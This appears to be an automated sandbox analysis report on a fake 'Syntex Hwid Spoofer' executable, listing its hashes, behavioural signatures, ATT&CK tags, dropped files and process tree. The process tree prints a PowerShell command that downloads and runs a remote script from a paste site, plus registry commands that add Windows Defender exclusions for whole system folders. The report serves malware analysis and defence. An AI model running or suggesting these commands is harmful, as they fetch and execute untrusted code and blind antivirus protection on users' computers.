af32270b2a95cf8124dd19ae48edde7710d797ae6b3badc001b7d40eb41bfe58

Analysis

max time kernel
149s
max time network
99s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
31/05/2026, 08:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Syntex Hwid Spoofer/Syntex Spoofer.exe
Size 160KB
Sample260531-kvr1yadv21
SHA256 af32270b2a95cf8124dd19ae48edde7710d797ae6b3badc001b7d40eb41bfe58
MD5 ea63e8eb122b1e620dd250faab827182
SHA1 79e213408cbb9a3783569a8c67df5a4917a3c358
SHA512 6e41ab0fb51df59873423d52669b12c221636b809198c85aaa85d60c214dabbc6b1f3104c9dc2c6d6f38398a1ee7f1b4a468693634f91c4488bae496a83f437f
SSDEEP 3072:c5vnr5Tbx829UOeKnn2LFzZBp13u36wKp4zULCWods096hxpfSo:cBKjK2LFzZNfIULLD0chbZ
TLSH
T1E8F3390773A911F8D1BBE23999A24906F7B63826473197CF2350427A0F777E0AE79721
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4108	powershell.exe
3	4108	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4108	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4108	powershell.exe
4108	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4108	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1212 wrote to memory of 4108	1212	Syntex Spoofer.exe	81
PID 4108 wrote to memory of 2084	4108	powershell.exe	82
PID 4108 wrote to memory of 996	4108	powershell.exe	83
PID 4108 wrote to memory of 3176	4108	powershell.exe	84
PID 4108 wrote to memory of 3864	4108	powershell.exe	85
PID 3864 wrote to memory of 700	3864	csc.exe	86

C:\Users\Admin\AppData\Local\Temp\Syntex Hwid Spoofer\Syntex Spoofer.exe
"C:\Users\Admin\AppData\Local\Temp\Syntex Hwid Spoofer\Syntex Spoofer.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "irm https://pastefy.app/V9fb6BdJ/raw | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:2084
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Windows /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:996
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ProgramData /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:3176
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kdyqzawb\kdyqzawb.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3864
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES268E.tmp" "c:\Users\Admin\AppData\Local\Temp\kdyqzawb\CSC847F7F628CD94E9CA93EDD597186117A.TMP"
      4⤵
      PID:700

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES268E.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES268E.tmp
Size 1KB
SHA256 654ee77a6d21e37941b95aad1991747eae30fce32a67effee1b24cf8129267d2
MD5 48c9902e65cabe5d53f40be0d3f1cd7f
SHA1 449e5ed2fad7117a7058c170dd166069c6580f4b
SHA512 f20d6249169a43164cb5372009c8d4afe4253ac60113e7c15e303845bc37bd8b47ad77c21c6ac6c3f308a41d37f18837bb1094d029fa924dffa2152a38565014
TLSH
T13021CC0493E8471FF4B31731A9F6172FA674FD68EFA1535A854002282C41604DEB1B73
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_w1jb43eo.5ac.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w1jb43eo.5ac.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

kdyqzawb.dll

Path C:\Users\Admin\AppData\Local\Temp\kdyqzawb\kdyqzawb.dll
Size 3KB
SHA256 4ea64a86852d3289da543c4e596713e316c27fb054197921ba7c27cfc935db9e
MD5 f24f5c526cb5ba4085f42bcbe2475f30
SHA1 741ac0835b8aa3594eae17964fa31658c98084be
SHA512 be97f1ab1a61fa2cadfbed96b05653a6a9678ecf7277979b4118b0eeb40eb0866d8dc3b57b207a167bc0dd72f4cc8dd82f2efe20c31beb1cb190deb502225351
TLSH
T1E471C207A3E8466BE8730730AAF3036227B4F8509A63476E5DC042196D51B74AE35B71
MD5 SHA1 SHA512 TLSH

Submit Download

tempcache.exe

Path C:\Users\Admin\AppData\Local\Temp\tempcache.exe
Size 849B
SHA256 65ab6ac4b26e00e2945902713bab82d46957307b0e19b7e0046223431ee89021
MD5 8881582728c9fe42f63e94a7344bbc61
SHA1 d3a2de6171ea9245704b0cb8a2a373f2b18cd934
SHA512 427fb5f48619d45619b121db5db662ca587975daea0d5bd04d292acd0abf51dda3bd92dbcb7f62e92829ce462286e3a8399c7a36426782ec50d3858def84be81
TLSH
T1DF0141F30C419F27129957E064D8B2485907260AA7C66CC460E964FFF8DDF98D4E6BF8
MD5 SHA1 SHA512 TLSH

Submit Download

CSC847F7F628CD94E9CA93EDD597186117A.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\kdyqzawb\CSC847F7F628CD94E9CA93EDD597186117A.TMP
Size 652B
SHA256 c049d2aa8d9faa4a2f9e09632ee467f860d97388a70c0b3a43b443a2c136e40a
MD5 5b9cbea278f9765dc36de9c139d3e1e1
SHA1 8094a65ebaa55c9ff2bd63e5fb9ac736a84acb01
SHA512 b28ab02978d6ff6ccd7b0079ca5a2d92efee4aaf30944ee0b0fa102863fd4027505c0fcad8b2da85154687f33c3a26cac9306f0f045aafb616b2131f73f2c5a8
TLSH
T1CCF05E0963F8420EF4F34B30BEF653A395A8BC64DE3293ED245003192C646208A62FB3
MD5 SHA1 SHA512 TLSH

Submit Download

kdyqzawb.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\kdyqzawb\kdyqzawb.0.cs
Size 311B
SHA256 9a015aa8f36e6b135e9b423b498a9f7a1ba9c88ca290b986010ce647b644318c
MD5 15f236aace68dcfc8bd412f91e2e5f0b
SHA1 91d1bf483b9a1e027abf6bbd9862e6d813b2101d
SHA512 f48ed528c2eaa49e3f196df14300c6b6f47eebcacc4896fca64403c139dc2753ca6633926ea25793440948de60bc3da0f7c04a540c768a769f602ef618b3ef9b
TLSH
T113E07D4962C1FB70596641511902D1D07F1EE65304871C26B6CD03515F23F38E97C642
MD5 SHA1 SHA512 TLSH

Submit Download

kdyqzawb.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\kdyqzawb\kdyqzawb.cmdline
Size 369B
SHA256 842ac674b1b5d6b2859e3c04ea6f42e84903d58c981700626ec5f59670da9295
MD5 e56760c2179f306b66378e767ff23ea7
SHA1 5681182fa2e632f38d025a9fac0afdda03647179
SHA512 c8b261ef821c58513020eaab033888ea47b2ee6af752aedbe5bcce6ea5c745ec5baa8444dc71c8ab7bb56ec6659542c9c9e19a6d9e9a188559092634e745def6
TLSH
T15BE0D82B53A6C6FD9DFA100729E9C5EC8272064B29C17F8459D4445FD127104A7D17A5
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4108-21-0x000002111BE80000-0x000002111BE9C000-memory.dmp

Download

memory/4108-25-0x000002111BEA0000-0x000002111BEA6000-memory.dmp

Download

memory/4108-20-0x000002111BC60000-0x000002111BC6A000-memory.dmp

Download

memory/4108-0-0x000002111BC70000-0x000002111BC80000-memory.dmp

Download

memory/4108-22-0x000002111BE60000-0x000002111BE6A000-memory.dmp

Download

memory/4108-23-0x000002111C470000-0x000002111C48A000-memory.dmp

Download

memory/4108-24-0x000002111BE70000-0x000002111BE78000-memory.dmp

Download

memory/4108-19-0x000002111C1D0000-0x000002111C283000-memory.dmp

Download

memory/4108-26-0x000002111BEB0000-0x000002111BEBA000-memory.dmp

Download

memory/4108-18-0x000002111BE40000-0x000002111BE5C000-memory.dmp

Download

memory/4108-11-0x00007FF40A860000-0x00007FF40A870000-memory.dmp

Download

memory/4108-10-0x000002111C2A0000-0x000002111C462000-memory.dmp

Download

memory/4108-9-0x000002111BC70000-0x000002111BC80000-memory.dmp

Download

memory/4108-39-0x000002111BE40000-0x000002111BE48000-memory.dmp

Download

memory/4108-7-0x0000021102380000-0x00000211023A2000-memory.dmp

Download

memory/4108-1-0x000002111BC70000-0x000002111BC80000-memory.dmp

Download